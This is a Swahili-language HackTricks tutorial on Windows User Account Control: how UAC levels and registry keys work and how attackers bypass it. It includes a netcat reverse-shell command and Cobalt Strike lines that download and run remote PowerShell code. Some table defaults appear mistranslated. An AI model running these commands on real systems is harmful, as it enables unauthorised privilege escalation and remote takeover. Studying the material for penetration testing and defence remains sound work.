UAC - User Account Control

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Tumia Trickest kujenga na kutumia workflows kwa urahisi zinazotumia zana za jamii ya juu zaidi ulimwenguni. Pata Ufikiaji Leo:

UAC

Udhibiti wa Akaunti ya Mtumiaji (UAC) ni kipengele kinachowezesha kibali cha kidukizo kwa shughuli zilizoinuliwa. Programu zina viwango tofauti vya integrity, na programu yenye kiwango cha juu inaweza kutekeleza kazi ambazo zinaweza kuhatarisha mfumo. Wakati UAC iko wazi, programu na kazi zote huendeshwa chini ya muktadha wa usalama wa akaunti isiyo ya msimamizi isipokuwa msimamizi anaidhinisha wazi programu/hizo kazi kuwa na ufikiaji wa kiwango cha msimamizi kwenye mfumo wa kuendesha. Ni kipengele cha urahisi kinacholinda wasimamizi kutokana na mabadiliko yasiyokusudiwa lakini haichukuliwi kama mpaka wa usalama.

Kwa habari zaidi kuhusu viwango vya uadilifu:

pageIntegrity Levels

Wakati UAC iko mahali pake, mtumiaji wa msimamizi hupewa vitufe 2: kimoja cha mtumiaji wa kawaida, kutekeleza hatua za kawaida kama kiwango cha kawaida, na kingine chenye mamlaka ya msimamizi.

Hii ukurasa unajadili jinsi UAC inavyofanya kazi kwa kina na inajumuisha mchakato wa kuingia, uzoefu wa mtumiaji, na usanifu wa UAC. Wasimamizi wanaweza kutumia sera za usalama kusanidi jinsi UAC inavyofanya kazi maalum kwa shirika lao kwenye kiwango cha ndani (kwa kutumia secpol.msc), au kusanidi na kusambaza kupitia Vitu vya Sera ya Kikundi (GPO) katika mazingira ya kikoa cha Active Directory. Mipangilio mbalimbali inajadiliwa kwa undani hapa. Kuna mipangilio 10 ya Sera ya Kikundi ambayo inaweza kuwekwa kwa UAC. Jedwali lifuatalo hutoa maelezo zaidi:

Mipangilio ya Sera ya KikundiFunguo ya UsajiliMipangilio ya Awali

FilterAdministratorToken

Imezimwa

EnableUIADesktopToggle

Imezimwa

ConsentPromptBehaviorAdmin

Kidukizo la kuidhinisha kwa programu zisizo za Windows

ConsentPromptBehaviorUser

Kidukizo la kuidhinisha kwa siri kwenye desktop salama

EnableInstallerDetection

Imezimwa (chaguo la msingi kwa nyumbani) Imezimwa (chaguo la msingi kwa kampuni)

ValidateAdminCodeSignatures

Imezimwa

EnableSecureUIAPaths

Imezimwa

EnableLUA

Imezimwa

PromptOnSecureDesktop

Imezimwa

EnableVirtualization

Imezimwa

### Nadharia ya Kupuuza UAC

Baadhi ya programu zina kujiongeza moja kwa moja ikiwa mtumiaji anamiliki kikundi cha wasimamizi. Hizi programu zina Manifests yao na chaguo la autoElevate lenye thamani ya True. Pia programu lazima iwe imesainiwa na Microsoft.

Kwa hiyo, ili kupuuza UAC (kujiongeza kutoka kiwango cha kati hadi cha juu) baadhi ya wachomaji hutumia programu hizi kutekeleza mifumo ya nambari za kubahatisha kwa sababu itatekelezwa kutoka kwa mchakato wa kiwango cha juu cha uadilifu.

Unaweza kuangalia Manifest ya programu kwa kutumia zana ya sigcheck.exe kutoka kwa Sysinternals. Na unaweza kuona kiwango cha uadilifu wa michakato kwa kutumia Process Explorer au Process Monitor (ya Sysinternals).

Angalia UAC

Ili kuthibitisha ikiwa UAC imeanzishwa fanya:

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA    REG_DWORD    0x1

Ikiwa ni 1 basi UAC iko imeamilishwa, ikiwa ni 0 au haipo, basi UAC iko haiko hai.

Kisha, angalia kiwango gani kimeboreshwa:

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin    REG_DWORD    0x5
  • Ikiwa 0 basi, UAC haitatoa ombi (kama imelemazwa)

  • Ikiwa 1 admin anaulizwa jina la mtumiaji na nenosiri ili kutekeleza binary kwa haki za juu (kwenye Desktop Salama)

  • Ikiwa 2 (Taarifa daima) UAC itauliza kuthibitisha kwa msimamizi anapojaribu kutekeleza kitu kwa haki za juu (kwenye Desktop Salama)

  • Ikiwa 3 kama 1 lakini sio lazima kwenye Desktop Salama

  • Ikiwa 4 kama 2 lakini sio lazima kwenye Desktop Salama

  • ikiwa 5(chaguo-msingi) itamwuliza msimamizi kuthibitisha kuendesha binaries za Windows zisizo na haki za juu

Kisha, lazima uangalie thamani ya LocalAccountTokenFilterPolicy Ikiwa thamani ni 0, basi, tu mtumiaji wa RID 500 (Msimamizi aliyejengwa) anaweza kutekeleza kazi za msimamizi bila UAC, na ikiwa ni 1, akaunti zote ndani ya kikundi cha "Waadiministrata" wanaweza kufanya hivyo.

Na mwishowe angalia thamani ya funguo FilterAdministratorToken Ikiwa 0(chaguo-msingi), akaunti ya Msimamizi aliyejengwa inaweza kufanya kazi za utawala wa mbali na ikiwa 1 akaunti iliyojengwa ya Msimamizi haiwezi kufanya kazi za utawala wa mbali, isipokuwa LocalAccountTokenFilterPolicy imewekwa kuwa 1.

Muhtasari

  • Ikiwa EnableLUA=0 au haupo, hakuna UAC kwa yeyote

  • Ikiwa EnableLua=1 na LocalAccountTokenFilterPolicy=1 , Hakuna UAC kwa yeyote

  • Ikiwa EnableLua=1 na LocalAccountTokenFilterPolicy=0 na FilterAdministratorToken=0, Hakuna UAC kwa RID 500 (Msimamizi aliyejengwa)

  • Ikiwa EnableLua=1 na LocalAccountTokenFilterPolicy=0 na FilterAdministratorToken=1, UAC kwa kila mtu

Maelezo yote haya yanaweza kupatikana kwa kutumia moduli ya metasploit: post/windows/gather/win_privs

Unaweza pia kuangalia vikundi vya mtumiaji wako na kupata kiwango cha uadilifu:

net user %username%
whoami /groups | findstr Level

Kupuuza UAC

Tafadhali kumbuka kwamba ikiwa una ufikiaji wa kielelezi kwa mwathiriwa, kupuuza UAC ni rahisi kwani unaweza tu bonyeza "Ndio" wakati ombi la UAC linapoonekana

Kupuuza UAC inahitajika katika hali ifuatayo: UAC imeamilishwa, mchakato wako unatekelezwa katika muktadha wa usalama wa kati, na mtumiaji wako anahusishwa na kikundi cha waendeshaji.

Ni muhimu kutaja kwamba ni ngumu zaidi kupuuza UAC ikiwa iko katika kiwango cha usalama cha juu zaidi (Daima) kuliko ikiwa iko katika mojawapo ya viwango vingine (Chaguo).

UAC imelemazwa

Ikiwa UAC tayari imelemazwa (ConsentPromptBehaviorAdmin ni 0) unaweza kutekeleza ganda la nyuma lenye mamlaka ya msimamizi (kiwango cha usalama cha juu) kwa kutumia kitu kama:

#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"

Kupuuza UAC kwa nakala ya kitambulisho

Muhimu Sana Kupuuza UAC "kwa njia ya mkato" (upatikanaji kamili wa mfumo wa faili)

Ikiwa una ganda na mtumiaji ambaye yumo ndani ya kikundi cha Waadmin, unaweza kufunga C$ iliyoshirikiwa kupitia SMB (mfumo wa faili) kwa eneo la diski mpya na utakuwa na upatikanaji wa kila kitu kilichomo ndani ya mfumo wa faili (hata folda ya nyumbani ya Msimamizi).

Inaonekana kama hila hii haifanyi kazi tena

```bash net use Z: \\127.0.0.1\c$ cd C$

#Or you could just access it: dir \127.0.0.1\c$\Users\Administrator\Desktop

### Kupuuza UAC na cobalt strike

Mbinu za Cobalt Strike zitafanya kazi tu ikiwa UAC haijasetwa kwenye kiwango chake cha usalama cha juu kabisa
```bash
# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
# UAC bypass via service
elevate svc-exe [listener_name]

# Bypass UAC with Token Duplication
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"

Empire na Metasploit pia wana moduli kadhaa za kupuuza UAC.

KRBUACBypass

Nyaraka na zana katika https://github.com/wh0amitz/KRBUACBypass

UAC bypass exploits

UACME ambayo ni mkusanyiko wa mbinu kadhaa za kudukua UAC. Tafadhali kumbuka utahitaji kukusanya UACME kwa kutumia visual studio au msbuild. Kukusanya kutazalisha programu kadhaa za kutekelezwa (kama vile Source\Akagi\outout\x64\Debug\Akagi.exe), utahitaji kujua ipi unahitaji. Unapaswa kuwa mwangalifu kwa sababu baadhi ya njia za kupitisha zinaweza kuchochea programu nyingine ambazo zitamwonya mtumiaji kwamba kitu kinatokea.

UACME ina toleo la ujenzi ambalo kila mbinu ilianza kufanya kazi. Unaweza kutafuta mbinu inayoathiri toleo lako:

PS C:\> [environment]::OSVersion.Version

Major  Minor  Build  Revision
-----  -----  -----  --------
10     0      14393  0

UAC Bypass with GUI

Ikiwa una upatikanaji wa GUI unaweza tu kukubali ombi la UAC unapolipata, hauhitaji kweli kubadilisha. Kwa hivyo, kupata upatikanaji wa GUI kutakuruhusu kudanganya UAC.

Zaidi ya hayo, ikiwa unapata kikao cha GUI ambacho mtu alikuwa anakitumia (labda kupitia RDP) kuna zana kadhaa zitakazokuwa zinaendeshwa kama msimamizi ambapo unaweza kuendesha cmd kama msimamizi moja kwa moja bila kuulizwa tena na UAC kama https://github.com/oski02/UAC-GUI-Bypass-appverif. Hii inaweza kuwa ya siri zaidi.

UAC Bypassing ya kelele ya nguvu

Ikiwa hujali kuhusu kuwa na kelele unaweza daima kuendesha kitu kama https://github.com/Chainski/ForceAdmin ambacho kitauliza kupandisha ruhusa hadi mtumiaji akikubali.

Mbinu yako ya kudanganya - Mbinu ya msingi ya kudanganya UAC

Ukiona UACME utagundua kuwa vipingamizi vingi vya UAC vinatumia udhaifu wa Dll Hijacking (hasa kwa kuandika dll yenye nia mbaya kwenye C:\Windows\System32). Soma hii ili kujifunza jinsi ya kupata udhaifu wa Dll Hijacking.

  1. Pata faili ambayo itaautoelevate (angalia wakati inapoendeshwa inaendeshwa kwa kiwango cha juu cha uadilifu).

  2. Kwa kutumia procmon pata matukio ya "JINA HALIJAPATIKANA" ambayo yanaweza kuwa hatarini kwa DLL Hijacking.

  3. Labda utahitaji kuandika DLL ndani ya njia fulani zilizolindwa (kama C:\Windows\System32) ambapo huna ruhusa za kuandika. Unaweza kudanganya hili kwa kutumia:

    1. wusa.exe: Windows 7, 8 na 8.1. Inaruhusu kutoa yaliyomo ya faili ya CAB ndani ya njia zilizolindwa (kwa sababu zana hii inaendeshwa kutoka kiwango cha juu cha uadilifu).

    2. IFileOperation: Windows 10.

  4. Andaa script ya kuiga DLL yako ndani ya njia iliyolindwa na kuendesha faili ya hatari na iliyoinuliwa moja kwa moja.

Mbinu nyingine ya kudanganya UAC

Inahusisha kutazama ikiwa faili ya autoElevated inajaribu kusoma kutoka kwa usajili jina/ njia ya faili au amri itakayotekelezwa (hii ni ya kuvutia zaidi ikiwa faili inatafuta habari hii ndani ya HKCU).

Last updated